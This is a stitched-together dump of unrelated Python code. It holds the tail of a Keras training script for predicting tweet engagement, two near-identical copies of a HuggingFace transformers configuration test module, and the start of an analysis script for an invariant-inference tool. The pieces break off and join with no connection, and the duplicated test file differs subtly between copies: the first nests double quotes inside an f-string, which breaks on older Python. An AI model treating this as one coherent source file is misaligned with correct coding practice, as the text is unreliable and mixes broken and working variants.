'engagement_like_timestamp', 'is_from_official_val', 'number_of_photo', 'number_of_gif', 'number_of_video', 'tweet_links_count', 'tweet_domains_count', 'tweet_hashtags_count', 'tweet_hashtags_unique_count', 'mapped_language_id', 'mapped_tweet_type', 'tweet_timestamp_hour_sin', 'tweet_timestamp_hour_cos', 'tweet_timestamp_day', 'tweet_timestamp_weekday', 'tweet_timestamp_hour_bin', 'tweet_timestamp_creator_account_age_bin', 'text_is_reply', 'text_tokens_count', 'text_unknown_count', 'text_special_tokens_count', 'text_questions_count', 'text_semantic_separation', 'text_newline_count', 'text_separated_count', 'text_char_count', 'text_asking_like', 'text_asking_reply', 'text_comment_related_count', 'text_no_comment_related_count', 'text_asking_retweet', 'text_nsfw_count', 'text_kpop_count', 'text_covid_count', 'text_sports_count', 'text_japanesetrending_count', 'text_anime_count', 'text_vtuber_count', 'text_news_count', 'text_myanmar_count', 'text_genshin_count', 'text_crypto_count', 'text_trending_count', 'text_love_count', 'text_slang_count', 'text_mention_count', 'engager_follower_quantile', 'creator_follower_quantile', 'creator_follower_ratio', 'engager_follower_ratio', 'creator_vs_engager_follower_ratio', 'creator_vs_engager_following_ratio', 'CE_language__timestamp_hour_bin', 'CE_language__timestamp_hour_bin__timestamp_weekday', 'CE_language__type', 'CE_language__engager_follower_quantile', 'CE_type__timestamp_weekday', 'CE_type__timestamp_hour_bin', 'CE_timestamp_creator_account_age_bin__engager_follower_quantile__creator_follower_quantile', 'CE_language__presence_of_photo__presence_of_gif__presence_of_video', 'TE_mapped_engager_id_engagement_reply', 'TE_number_of_photo_engagement_reply', 'TE_number_of_gif_engagement_reply', 'TE_number_of_video_engagement_reply', 'TE_mapped_tweet_type_engagement_reply', 'TE_mapped_language_id_engagement_reply', 'TE_mapped_creator_id_engagement_reply', 'TE_mapped_tweet_links_id_1_engagement_reply', 'TE_mapped_tweet_links_id_2_engagement_reply', 'TE_mapped_tweet_hashtags_id_1_engagement_reply', 'TE_mapped_tweet_hashtags_id_2_engagement_reply', 'TE_mapped_domains_id_1_engagement_reply', 'TE_mapped_domains_id_2_engagement_reply', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_reply", 'TE_tweet_links_count_engagement_reply', 'TE_tweet_domains_count_engagement_reply', 'TE_tweet_hashtags_count_engagement_reply', 'TE_tweet_hashtags_unique_count_engagement_reply', 'TE_mapped_engager_id_engagement_retweet', 'TE_number_of_photo_engagement_retweet', 'TE_number_of_gif_engagement_retweet', 'TE_number_of_video_engagement_retweet', 'TE_mapped_tweet_type_engagement_retweet', 'TE_mapped_language_id_engagement_retweet', 'TE_mapped_creator_id_engagement_retweet', 'TE_mapped_tweet_links_id_1_engagement_retweet', 'TE_mapped_tweet_links_id_2_engagement_retweet', 'TE_mapped_tweet_hashtags_id_1_engagement_retweet', 'TE_mapped_tweet_hashtags_id_2_engagement_retweet', 'TE_mapped_domains_id_1_engagement_retweet', 'TE_mapped_domains_id_2_engagement_retweet', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_retweet", 'TE_tweet_links_count_engagement_retweet', 'TE_tweet_domains_count_engagement_retweet', 'TE_tweet_hashtags_count_engagement_retweet', 'TE_tweet_hashtags_unique_count_engagement_retweet', 'TE_mapped_engager_id_engagement_comment', 'TE_number_of_photo_engagement_comment', 'TE_number_of_gif_engagement_comment', 'TE_number_of_video_engagement_comment', 'TE_mapped_tweet_type_engagement_comment', 'TE_mapped_language_id_engagement_comment', 'TE_mapped_creator_id_engagement_comment', 'TE_mapped_tweet_links_id_1_engagement_comment', 'TE_mapped_tweet_links_id_2_engagement_comment', 'TE_mapped_tweet_hashtags_id_1_engagement_comment', 'TE_mapped_tweet_hashtags_id_2_engagement_comment', 'TE_mapped_domains_id_1_engagement_comment', 'TE_mapped_domains_id_2_engagement_comment', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_comment", 'TE_tweet_links_count_engagement_comment', 'TE_tweet_domains_count_engagement_comment', 'TE_tweet_hashtags_count_engagement_comment', 'TE_tweet_hashtags_unique_count_engagement_comment', 'TE_mapped_engager_id_engagement_like', 'TE_number_of_photo_engagement_like', 'TE_number_of_gif_engagement_like', 'TE_number_of_video_engagement_like', 'TE_mapped_tweet_type_engagement_like', 'TE_mapped_language_id_engagement_like', 'TE_mapped_creator_id_engagement_like', 'TE_mapped_tweet_links_id_1_engagement_like', 'TE_mapped_tweet_links_id_2_engagement_like', 'TE_mapped_tweet_hashtags_id_1_engagement_like', 'TE_mapped_tweet_hashtags_id_2_engagement_like', 'TE_mapped_domains_id_1_engagement_like', 'TE_mapped_domains_id_2_engagement_like', "TE_('mapped_domains_id_1', 'mapped_language_id', 'engagement_creator_follows_engager', 'mapped_tweet_type', 'number_of_photo', 'creator_is_verified')_engagement_like", 'TE_tweet_links_count_engagement_like', 'TE_tweet_domains_count_engagement_like', 'TE_tweet_hashtags_count_engagement_like', 'TE_tweet_hashtags_unique_count_engagement_like', ] #load datasets print('Start reading \n') df = dd.read_parquet(parquet_dataset_path, engine='pyarrow', columns=cols) dfTest = dd.read_parquet(parquet_dataset_Test_path, engine='pyarrow', columns=cols) #choose fraction of dataset to use df = df.sample(frac = frac) chosen=engCols[idx] rest=[c for c in engCols if c!=chosen] # Drop other engagements df = df.drop(columns=rest) dfTest = dfTest.drop(columns=rest) #prepare output df[chosen] = df[chosen].mask(df[chosen] < 0, 0) df[chosen] = df[chosen].mask(df[chosen] > 0, 1) dfTest[chosen] = dfTest[chosen].mask(dfTest[chosen] < 0, 0) dfTest[chosen] = dfTest[chosen].mask(dfTest[chosen] > 0, 1) #prepare output and drop from dataset yTest = dfTest[chosen] dfTest = dfTest.drop(columns=[chosen]) y = df[chosen] df = df.drop(columns=[chosen]) print('Start compute \n') # From Dask to Pandas train df=df.astype(np.float32) df = df.compute() y = y.compute() print('Start compute \n') # From Dask to Pandas validation dfTest=dfTest.astype(np.float32) dfTest = dfTest.compute() yTest = yTest.compute() #save list of columns and their order for inference time np.save("cols.npy",df.columns) yTest=yTest.to_numpy(copy=False) gc.collect() #Prepare Normalization layer to normalize NN inputs layer = preprocessing.Normalization() layer.adapt(df) print('Columns name:', df.columns) #rename to easier names X_train=df y_train=y #build model using normalization layer model = buildModel(layer,len(df.columns)) del df, y BS=4096 #prepare input and output as numpy arrays trainIn=X_train.to_numpy(copy=False) trainOut=y_train.to_numpy(copy=False) best=0 #iteratively train one epoch at the time and evaluation of metrics on validation set at each step #model saved only on rce score improvements for i in range(30): model.fit(trainIn,trainOut,epochs=i+1,initial_epoch=i,batch_size=BS) preds=model.predict(dfTest.to_numpy(copy=False),batch_size=4096) #this line avoids exact 0 or 1 predictions which in case of mistake can lead to -infinite rce preds=np.clip(preds,np.finfo(float).eps,0.9999999) rce_score=rce( yTest,preds) ap_score=ap(yTest,preds) with open(f"perf_{chosen.replace('engagement_','').replace('_timestamp','')}.txt","a+") as f: f.write(f'The model scored a TEST RCE of: {rce_score}\n') f.write(f'The model scored an TEST AP of: {ap_score}\n') if rce_score>best: model.save(f"{chosen.replace('engagement_','').replace('_timestamp','')}_epoch_{i}") best=rce_score
# coding=utf-8 # Copyright 2019 HuggingFace Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import json import os import shutil import sys import tempfile import unittest import unittest.mock from pathlib import Path from huggingface_hub import Repository, delete_repo, login from requests.exceptions import HTTPError from transformers import AutoConfig, BertConfig, GPT2Config, is_torch_available from transformers.configuration_utils import PretrainedConfig from transformers.testing_utils import PASS, USER, is_staging_test sys.path.append(str(Path(__file__).parent.parent / "utils")) from test_module.custom_configuration import CustomConfig # noqa E402 config_common_kwargs = { "return_dict": False, "output_hidden_states": True, "output_attentions": True, "torchscript": True, "torch_dtype": "float16", "use_bfloat16": True, "pruned_heads": {"a": 1}, "tie_word_embeddings": False, "is_decoder": True, "cross_attention_hidden_size": 128, "add_cross_attention": True, "tie_encoder_decoder": True, "max_length": 50, "min_length": 3, "do_sample": True, "early_stopping": True, "num_beams": 3, "num_beam_groups": 3, "diversity_penalty": 0.5, "temperature": 2.0, "top_k": 10, "top_p": 0.7, "repetition_penalty": 0.8, "length_penalty": 0.8, "no_repeat_ngram_size": 5, "encoder_no_repeat_ngram_size": 5, "bad_words_ids": [1, 2, 3], "num_return_sequences": 3, "chunk_size_feed_forward": 5, "output_scores": True, "return_dict_in_generate": True, "forced_bos_token_id": 2, "forced_eos_token_id": 3, "remove_invalid_values": True, "architectures": ["BertModel"], "finetuning_task": "translation", "id2label": {0: "label"}, "label2id": {"label": "0"}, "tokenizer_class": "BertTokenizerFast", "prefix": "prefix", "bos_token_id": 6, "pad_token_id": 7, "eos_token_id": 8, "sep_token_id": 9, "decoder_start_token_id": 10, "task_specific_params": {"translation": "some_params"}, "problem_type": "regression", } class ConfigTester(object): def __init__(self, parent, config_class=None, has_text_modality=True, **kwargs): self.parent = parent self.config_class = config_class self.has_text_modality = has_text_modality self.inputs_dict = kwargs def create_and_test_config_common_properties(self): config = self.config_class(**self.inputs_dict) common_properties = ["hidden_size", "num_attention_heads", "num_hidden_layers"] # Add common fields for text models if self.has_text_modality: common_properties.extend(["vocab_size"]) # Test that config has the common properties as getters for prop in common_properties: self.parent.assertTrue(hasattr(config, prop), msg=f"`{prop}` does not exist") # Test that config has the common properties as setter for idx, name in enumerate(common_properties): try: setattr(config, name, idx) self.parent.assertEqual( getattr(config, name), idx, msg=f"`{name} value {idx} expected, but was {getattr(config, name)}" ) except NotImplementedError: # Some models might not be able to implement setters for common_properties # In that case, a NotImplementedError is raised pass # Test if config class can be called with Config(prop_name=..) for idx, name in enumerate(common_properties): try: config = self.config_class(**{name: idx}) self.parent.assertEqual( getattr(config, name), idx, msg=f"`{name} value {idx} expected, but was {getattr(config, name)}" ) except NotImplementedError: # Some models might not be able to implement setters for common_properties # In that case, a NotImplementedError is raised pass def create_and_test_config_to_json_string(self): config = self.config_class(**self.inputs_dict) obj = json.loads(config.to_json_string()) for key, value in self.inputs_dict.items(): self.parent.assertEqual(obj[key], value) def create_and_test_config_to_json_file(self): config_first = self.config_class(**self.inputs_dict) with tempfile.TemporaryDirectory() as tmpdirname: json_file_path = os.path.join(tmpdirname, "config.json") config_first.to_json_file(json_file_path) config_second = self.config_class.from_json_file(json_file_path) self.parent.assertEqual(config_second.to_dict(), config_first.to_dict()) def create_and_test_config_from_and_save_pretrained(self): config_first = self.config_class(**self.inputs_dict) with tempfile.TemporaryDirectory() as tmpdirname: config_first.save_pretrained(tmpdirname) config_second = self.config_class.from_pretrained(tmpdirname) self.parent.assertEqual(config_second.to_dict(), config_first.to_dict()) def create_and_test_config_with_num_labels(self): config = self.config_class(**self.inputs_dict, num_labels=5) self.parent.assertEqual(len(config.id2label), 5) self.parent.assertEqual(len(config.label2id), 5) config.num_labels = 3 self.parent.assertEqual(len(config.id2label), 3) self.parent.assertEqual(len(config.label2id), 3) def check_config_can_be_init_without_params(self): if self.config_class.is_composition: return config = self.config_class() self.parent.assertIsNotNone(config) def check_config_arguments_init(self): kwargs = copy.deepcopy(config_common_kwargs) config = self.config_class(**kwargs) wrong_values = [] for key, value in config_common_kwargs.items(): if key == "torch_dtype": if not is_torch_available(): continue else: import torch if config.torch_dtype != torch.float16: wrong_values.append(("torch_dtype", config.torch_dtype, torch.float16)) elif getattr(config, key) != value: wrong_values.append((key, getattr(config, key), value)) if len(wrong_values) > 0: errors = "\n".join([f"- {v[0]}: got {v[1]} instead of {v[2]}" for v in wrong_values]) raise ValueError(f"The following keys were not properly set in the config:\n{errors}") def run_common_tests(self): self.create_and_test_config_common_properties() self.create_and_test_config_to_json_string() self.create_and_test_config_to_json_file() self.create_and_test_config_from_and_save_pretrained() self.create_and_test_config_with_num_labels() self.check_config_can_be_init_without_params() self.check_config_arguments_init() @is_staging_test class ConfigPushToHubTester(unittest.TestCase): @classmethod def setUpClass(cls): cls._token = login(username=USER, password=PASS) @classmethod def tearDownClass(cls): try: delete_repo(token=cls._token, name="test-config") except HTTPError: pass try: delete_repo(token=cls._token, name="test-config-org", organization="valid_org") except HTTPError: pass try: delete_repo(token=cls._token, name="test-dynamic-config") except HTTPError: pass def test_push_to_hub(self): config = BertConfig( vocab_size=99, hidden_size=32, num_hidden_layers=5, num_attention_heads=4, intermediate_size=37 ) with tempfile.TemporaryDirectory() as tmp_dir: config.save_pretrained(os.path.join(tmp_dir, "test-config"), push_to_hub=True, use_auth_token=self._token) new_config = BertConfig.from_pretrained(f"{USER}/test-config") for k, v in config.__dict__.items(): if k != "transformers_version": self.assertEqual(v, getattr(new_config, k)) def test_push_to_hub_in_organization(self): config = BertConfig( vocab_size=99, hidden_size=32, num_hidden_layers=5, num_attention_heads=4, intermediate_size=37 ) with tempfile.TemporaryDirectory() as tmp_dir: config.save_pretrained( os.path.join(tmp_dir, "test-config-org"), push_to_hub=True, use_auth_token=self._token, organization="valid_org", ) new_config = BertConfig.from_pretrained("valid_org/test-config-org") for k, v in config.__dict__.items(): if k != "transformers_version": self.assertEqual(v, getattr(new_config, k)) def test_push_to_hub_dynamic_config(self): CustomConfig.register_for_auto_class() config = CustomConfig(attribute=42) with tempfile.TemporaryDirectory() as tmp_dir: repo = Repository(tmp_dir, clone_from=f"{USER}/test-dynamic-config", use_auth_token=self._token) config.save_pretrained(tmp_dir) # This has added the proper auto_map field to the config self.assertDictEqual(config.auto_map, {"AutoConfig": "custom_configuration.CustomConfig"}) # The code has been copied from fixtures self.assertTrue(os.path.isfile(os.path.join(tmp_dir, "custom_configuration.py"))) repo.push_to_hub() new_config = AutoConfig.from_pretrained(f"{USER}/test-dynamic-config", trust_remote_code=True) # Can't make an isinstance check because the new_config is from the FakeConfig class of a dynamic module self.assertEqual(new_config.__class__.__name__, "CustomConfig") self.assertEqual(new_config.attribute, 42) class ConfigTestUtils(unittest.TestCase): def test_config_from_string(self): c = GPT2Config() # attempt to modify each of int/float/bool/str config records and verify they were updated n_embd = c.n_embd + 1 # int resid_pdrop = c.resid_pdrop + 1.0 # float scale_attn_weights = not c.scale_attn_weights # bool summary_type = c.summary_type + "foo" # str c.update_from_string( f"n_embd={n_embd},resid_pdrop={resid_pdrop},scale_attn_weights={scale_attn_weights},summary_type={summary_type}" ) self.assertEqual(n_embd, c.n_embd, "mismatch for key: n_embd") self.assertEqual(resid_pdrop, c.resid_pdrop, "mismatch for key: resid_pdrop") self.assertEqual(scale_attn_weights, c.scale_attn_weights, "mismatch for key: scale_attn_weights") self.assertEqual(summary_type, c.summary_type, "mismatch for key: summary_type") def test_config_common_kwargs_is_complete(self): base_config = PretrainedConfig() missing_keys = [key for key in base_config.__dict__ if key not in config_common_kwargs] # If this part of the test fails, you have arguments to addin config_common_kwargs above. self.assertListEqual(missing_keys, ["is_encoder_decoder", "_name_or_path", "transformers_version"]) keys_with_defaults = [key for key, value in config_common_kwargs.items() if value == getattr(base_config, key)] if len(keys_with_defaults) > 0: raise ValueError( "The following keys are set with the default values in `test_configuration_common.config_common_kwargs` " f"pick another value for them: {", ".join(keys_with_defaults)}." ) class ConfigurationVersioningTest(unittest.TestCase): def test_local_versioning(self): configuration = AutoConfig.from_pretrained("bert-base-cased") configuration.configuration_files = ["config.4.0.0.json"] with tempfile.TemporaryDirectory() as tmp_dir: configuration.save_pretrained(tmp_dir) configuration.hidden_size = 2 json.dump(configuration.to_dict(), open(os.path.join(tmp_dir, "config.4.0.0.json"), "w")) # This should pick the new configuration file as the version of Transformers is > 4.0.0 new_configuration = AutoConfig.from_pretrained(tmp_dir) self.assertEqual(new_configuration.hidden_size, 2) # Will need to be adjusted if we reach v42 and this test is still here. # Should pick the old configuration file as the version of Transformers is < 4.42.0 configuration.configuration_files = ["config.42.0.0.json"] configuration.hidden_size = 768 configuration.save_pretrained(tmp_dir) shutil.move(os.path.join(tmp_dir, "config.4.0.0.json"), os.path.join(tmp_dir, "config.42.0.0.json")) new_configuration = AutoConfig.from_pretrained(tmp_dir) self.assertEqual(new_configuration.hidden_size, 768) def test_repo_versioning_before(self): # This repo has two configuration files, one for v4.0.0 and above with a different hidden size. repo = "hf-internal-testing/test-two-configs" import transformers as new_transformers new_transformers.configuration_utils.__version__ = "v4.0.0" new_configuration = new_transformers.models.auto.AutoConfig.from_pretrained(repo) self.assertEqual(new_configuration.hidden_size, 2) # Testing an older version by monkey-patching the version in the module it's used. import transformers as old_transformers old_transformers.configuration_utils.__version__ = "v3.0.0" old_configuration = old_transformers.models.auto.AutoConfig.from_pretrained(repo) self.assertEqual(old_configuration.hidden_size, 768)
# coding=utf-8 # Copyright 2019 HuggingFace Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy import json import os import shutil import sys import tempfile import unittest import unittest.mock from pathlib import Path from huggingface_hub import Repository, delete_repo, login from requests.exceptions import HTTPError from transformers import AutoConfig, BertConfig, GPT2Config, is_torch_available from transformers.configuration_utils import PretrainedConfig from transformers.testing_utils import PASS, USER, is_staging_test sys.path.append(str(Path(__file__).parent.parent / "utils")) from test_module.custom_configuration import CustomConfig # noqa E402 config_common_kwargs = { "return_dict": False, "output_hidden_states": True, "output_attentions": True, "torchscript": True, "torch_dtype": "float16", "use_bfloat16": True, "pruned_heads": {"a": 1}, "tie_word_embeddings": False, "is_decoder": True, "cross_attention_hidden_size": 128, "add_cross_attention": True, "tie_encoder_decoder": True, "max_length": 50, "min_length": 3, "do_sample": True, "early_stopping": True, "num_beams": 3, "num_beam_groups": 3, "diversity_penalty": 0.5, "temperature": 2.0, "top_k": 10, "top_p": 0.7, "repetition_penalty": 0.8, "length_penalty": 0.8, "no_repeat_ngram_size": 5, "encoder_no_repeat_ngram_size": 5, "bad_words_ids": [1, 2, 3], "num_return_sequences": 3, "chunk_size_feed_forward": 5, "output_scores": True, "return_dict_in_generate": True, "forced_bos_token_id": 2, "forced_eos_token_id": 3, "remove_invalid_values": True, "architectures": ["BertModel"], "finetuning_task": "translation", "id2label": {0: "label"}, "label2id": {"label": "0"}, "tokenizer_class": "BertTokenizerFast", "prefix": "prefix", "bos_token_id": 6, "pad_token_id": 7, "eos_token_id": 8, "sep_token_id": 9, "decoder_start_token_id": 10, "task_specific_params": {"translation": "some_params"}, "problem_type": "regression", } class ConfigTester(object): def __init__(self, parent, config_class=None, has_text_modality=True, **kwargs): self.parent = parent self.config_class = config_class self.has_text_modality = has_text_modality self.inputs_dict = kwargs def create_and_test_config_common_properties(self): config = self.config_class(**self.inputs_dict) common_properties = ["hidden_size", "num_attention_heads", "num_hidden_layers"] # Add common fields for text models if self.has_text_modality: common_properties.extend(["vocab_size"]) # Test that config has the common properties as getters for prop in common_properties: self.parent.assertTrue(hasattr(config, prop), msg=f"`{prop}` does not exist") # Test that config has the common properties as setter for idx, name in enumerate(common_properties): try: setattr(config, name, idx) self.parent.assertEqual( getattr(config, name), idx, msg=f"`{name} value {idx} expected, but was {getattr(config, name)}" ) except NotImplementedError: # Some models might not be able to implement setters for common_properties # In that case, a NotImplementedError is raised pass # Test if config class can be called with Config(prop_name=..) for idx, name in enumerate(common_properties): try: config = self.config_class(**{name: idx}) self.parent.assertEqual( getattr(config, name), idx, msg=f"`{name} value {idx} expected, but was {getattr(config, name)}" ) except NotImplementedError: # Some models might not be able to implement setters for common_properties # In that case, a NotImplementedError is raised pass def create_and_test_config_to_json_string(self): config = self.config_class(**self.inputs_dict) obj = json.loads(config.to_json_string()) for key, value in self.inputs_dict.items(): self.parent.assertEqual(obj[key], value) def create_and_test_config_to_json_file(self): config_first = self.config_class(**self.inputs_dict) with tempfile.TemporaryDirectory() as tmpdirname: json_file_path = os.path.join(tmpdirname, "config.json") config_first.to_json_file(json_file_path) config_second = self.config_class.from_json_file(json_file_path) self.parent.assertEqual(config_second.to_dict(), config_first.to_dict()) def create_and_test_config_from_and_save_pretrained(self): config_first = self.config_class(**self.inputs_dict) with tempfile.TemporaryDirectory() as tmpdirname: config_first.save_pretrained(tmpdirname) config_second = self.config_class.from_pretrained(tmpdirname) self.parent.assertEqual(config_second.to_dict(), config_first.to_dict()) def create_and_test_config_with_num_labels(self): config = self.config_class(**self.inputs_dict, num_labels=5) self.parent.assertEqual(len(config.id2label), 5) self.parent.assertEqual(len(config.label2id), 5) config.num_labels = 3 self.parent.assertEqual(len(config.id2label), 3) self.parent.assertEqual(len(config.label2id), 3) def check_config_can_be_init_without_params(self): if self.config_class.is_composition: return config = self.config_class() self.parent.assertIsNotNone(config) def check_config_arguments_init(self): kwargs = copy.deepcopy(config_common_kwargs) config = self.config_class(**kwargs) wrong_values = [] for key, value in config_common_kwargs.items(): if key == "torch_dtype": if not is_torch_available(): continue else: import torch if config.torch_dtype != torch.float16: wrong_values.append(("torch_dtype", config.torch_dtype, torch.float16)) elif getattr(config, key) != value: wrong_values.append((key, getattr(config, key), value)) if len(wrong_values) > 0: errors = "\n".join([f"- {v[0]}: got {v[1]} instead of {v[2]}" for v in wrong_values]) raise ValueError(f"The following keys were not properly set in the config:\n{errors}") def run_common_tests(self): self.create_and_test_config_common_properties() self.create_and_test_config_to_json_string() self.create_and_test_config_to_json_file() self.create_and_test_config_from_and_save_pretrained() self.create_and_test_config_with_num_labels() self.check_config_can_be_init_without_params() self.check_config_arguments_init() @is_staging_test class ConfigPushToHubTester(unittest.TestCase): @classmethod def setUpClass(cls): cls._token = login(username=USER, password=PASS) @classmethod def tearDownClass(cls): try: delete_repo(token=cls._token, name="test-config") except HTTPError: pass try: delete_repo(token=cls._token, name="test-config-org", organization="valid_org") except HTTPError: pass try: delete_repo(token=cls._token, name="test-dynamic-config") except HTTPError: pass def test_push_to_hub(self): config = BertConfig( vocab_size=99, hidden_size=32, num_hidden_layers=5, num_attention_heads=4, intermediate_size=37 ) with tempfile.TemporaryDirectory() as tmp_dir: config.save_pretrained(os.path.join(tmp_dir, "test-config"), push_to_hub=True, use_auth_token=self._token) new_config = BertConfig.from_pretrained(f"{USER}/test-config") for k, v in config.__dict__.items(): if k != "transformers_version": self.assertEqual(v, getattr(new_config, k)) def test_push_to_hub_in_organization(self): config = BertConfig( vocab_size=99, hidden_size=32, num_hidden_layers=5, num_attention_heads=4, intermediate_size=37 ) with tempfile.TemporaryDirectory() as tmp_dir: config.save_pretrained( os.path.join(tmp_dir, "test-config-org"), push_to_hub=True, use_auth_token=self._token, organization="valid_org", ) new_config = BertConfig.from_pretrained("valid_org/test-config-org") for k, v in config.__dict__.items(): if k != "transformers_version": self.assertEqual(v, getattr(new_config, k)) def test_push_to_hub_dynamic_config(self): CustomConfig.register_for_auto_class() config = CustomConfig(attribute=42) with tempfile.TemporaryDirectory() as tmp_dir: repo = Repository(tmp_dir, clone_from=f"{USER}/test-dynamic-config", use_auth_token=self._token) config.save_pretrained(tmp_dir) # This has added the proper auto_map field to the config self.assertDictEqual(config.auto_map, {"AutoConfig": "custom_configuration.CustomConfig"}) # The code has been copied from fixtures self.assertTrue(os.path.isfile(os.path.join(tmp_dir, "custom_configuration.py"))) repo.push_to_hub() new_config = AutoConfig.from_pretrained(f"{USER}/test-dynamic-config", trust_remote_code=True) # Can't make an isinstance check because the new_config is from the FakeConfig class of a dynamic module self.assertEqual(new_config.__class__.__name__, "CustomConfig") self.assertEqual(new_config.attribute, 42) class ConfigTestUtils(unittest.TestCase): def test_config_from_string(self): c = GPT2Config() # attempt to modify each of int/float/bool/str config records and verify they were updated n_embd = c.n_embd + 1 # int resid_pdrop = c.resid_pdrop + 1.0 # float scale_attn_weights = not c.scale_attn_weights # bool summary_type = c.summary_type + "foo" # str c.update_from_string( f"n_embd={n_embd},resid_pdrop={resid_pdrop},scale_attn_weights={scale_attn_weights},summary_type={summary_type}" ) self.assertEqual(n_embd, c.n_embd, "mismatch for key: n_embd") self.assertEqual(resid_pdrop, c.resid_pdrop, "mismatch for key: resid_pdrop") self.assertEqual(scale_attn_weights, c.scale_attn_weights, "mismatch for key: scale_attn_weights") self.assertEqual(summary_type, c.summary_type, "mismatch for key: summary_type") def test_config_common_kwargs_is_complete(self): base_config = PretrainedConfig() missing_keys = [key for key in base_config.__dict__ if key not in config_common_kwargs] # If this part of the test fails, you have arguments to addin config_common_kwargs above. self.assertListEqual(missing_keys, ["is_encoder_decoder", "_name_or_path", "transformers_version"]) keys_with_defaults = [key for key, value in config_common_kwargs.items() if value == getattr(base_config, key)] if len(keys_with_defaults) > 0: raise ValueError( "The following keys are set with the default values in `test_configuration_common.config_common_kwargs` " f"pick another value for them: {', '.join(keys_with_defaults)}." ) class ConfigurationVersioningTest(unittest.TestCase): def test_local_versioning(self): configuration = AutoConfig.from_pretrained("bert-base-cased") configuration.configuration_files = ["config.4.0.0.json"] with tempfile.TemporaryDirectory() as tmp_dir: configuration.save_pretrained(tmp_dir) configuration.hidden_size = 2 json.dump(configuration.to_dict(), open(os.path.join(tmp_dir, "config.4.0.0.json"), "w")) # This should pick the new configuration file as the version of Transformers is > 4.0.0 new_configuration = AutoConfig.from_pretrained(tmp_dir) self.assertEqual(new_configuration.hidden_size, 2) # Will need to be adjusted if we reach v42 and this test is still here. # Should pick the old configuration file as the version of Transformers is < 4.42.0 configuration.configuration_files = ["config.42.0.0.json"] configuration.hidden_size = 768 configuration.save_pretrained(tmp_dir) shutil.move(os.path.join(tmp_dir, "config.4.0.0.json"), os.path.join(tmp_dir, "config.42.0.0.json")) new_configuration = AutoConfig.from_pretrained(tmp_dir) self.assertEqual(new_configuration.hidden_size, 768) def test_repo_versioning_before(self): # This repo has two configuration files, one for v4.0.0 and above with a different hidden size. repo = "hf-internal-testing/test-two-configs" import transformers as new_transformers new_transformers.configuration_utils.__version__ = "v4.0.0" new_configuration = new_transformers.models.auto.AutoConfig.from_pretrained(repo) self.assertEqual(new_configuration.hidden_size, 2) # Testing an older version by monkey-patching the version in the module it's used. import transformers as old_transformers old_transformers.configuration_utils.__version__ = "v3.0.0" old_configuration = old_transformers.models.auto.AutoConfig.from_pretrained(repo) self.assertEqual(old_configuration.hidden_size, 768)
""" Analyze Dig's results """ import argparse import pdb import random import shutil import sys import time from collections import Counter, defaultdict, namedtuple from pathlib import Path from statistics import median_low import helpers.vcommon as CM import infer.inv import settings from helpers.miscs import Miscs # import infer.mp DBG = pdb.set_trace mlog = CM.getLogger(__name__, settings.LOGGER_LEVEL) CheckSolverCalls = namedtuple("CheckSolverCalls", "stat") CheckDepthChanges = namedtuple("CheckDepthChanges", "prop v1 d1 v2 d2") MaxSolverCalls = namedtuple("MaxSolverCalls", "stat") MaxDepthChanges = namedtuple("MaxDepthChanges", "prop v1 d1 v2 d2") class Result: resultfile: str = 'result' def __init__(self, filename, seed, dinvs, dtraces, stats, time_d): assert isinstance(time_d, dict) and time_d, time_d self.filename = filename self.seed = seed self.dinvs = dinvs self.dtraces = dtraces self.stats = stats self.time_d = time_d def save(self, todir): assert todir.is_dir(), todir CM.vsave(todir / self.resultfile, self) @classmethod def load(cls, fromdir): assert isinstance(fromdir, Path) and fromdir.is_dir(), fromdir return CM.vload(fromdir / cls.resultfile) class AResult(Result): def __init__(self, result): super().__init__(result.filename, result.seed, result.dinvs, result.dtraces, result.stats, result.time_d) self.check_solvercalls = [ s for s in self.stats if isinstance(s, CheckSolverCalls)] self.check_depthchanges = [ s for s in self.stats if isinstance(s, CheckDepthChanges)] self.max_solvercalls = [ s for s in self.stats if isinstance(s, MaxSolverCalls)] self.max_depthchanges = [ s for s in self.stats if isinstance(s, MaxDepthChanges)] # print(len(self.check_solvercalls), self.check_solvercalls) def analyze(self): self.V, self.D, self.T, self.NL = self.analyze_dinvs(self.dinvs) def get_change(x, y, as_str=True): if as_str: x = str(x) y = str(y) else: x = -1 if x is None else x y = -1 if y is None else y return x, y self.check_solvercalls_ctr = Counter( str(x.stat) for x in self.check_solvercalls) self.check_changevals_ctr = Counter( get_change(x.v1, x.v2, as_str=True) for x in self.check_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.check_changedepths_ctr = Counter( get_change(x.d1, x.d2, as_str=False) for x in self.check_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.max_solvercalls_ctr = Counter( str(x.stat) for x in self.max_solvercalls) self.max_changevals_ctr = Counter( get_change(x.v1, x.v2, as_str=True) for x in self.max_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) self.max_changedepths_ctr = Counter( get_change(x.d1, x.d2, as_str=False) for x in self.max_depthchanges if not isinstance(x.prop, infer.inv.FalseInv)) @classmethod def analyze_dinvs(cls, dinvs): """ Get max vars, terms, deg from invs """ vss = [] maxdegs = [] ntermss = [] for inv in dinvs.invs: vs, maxdeg, nterms = cls.analyze_inv(inv) vss.append(vs) maxdegs.append(maxdeg) ntermss.append(nterms) # print(inv, vs, maxdeg, nterms) vss = set(str(v) for vs in vss for v in vs) nvs = len(vss) maxdeg = max(maxdegs) nterms = max(ntermss) nnonlinears = len([d for d in maxdegs if d >= 2]) return nvs, maxdeg, nterms, nnonlinears 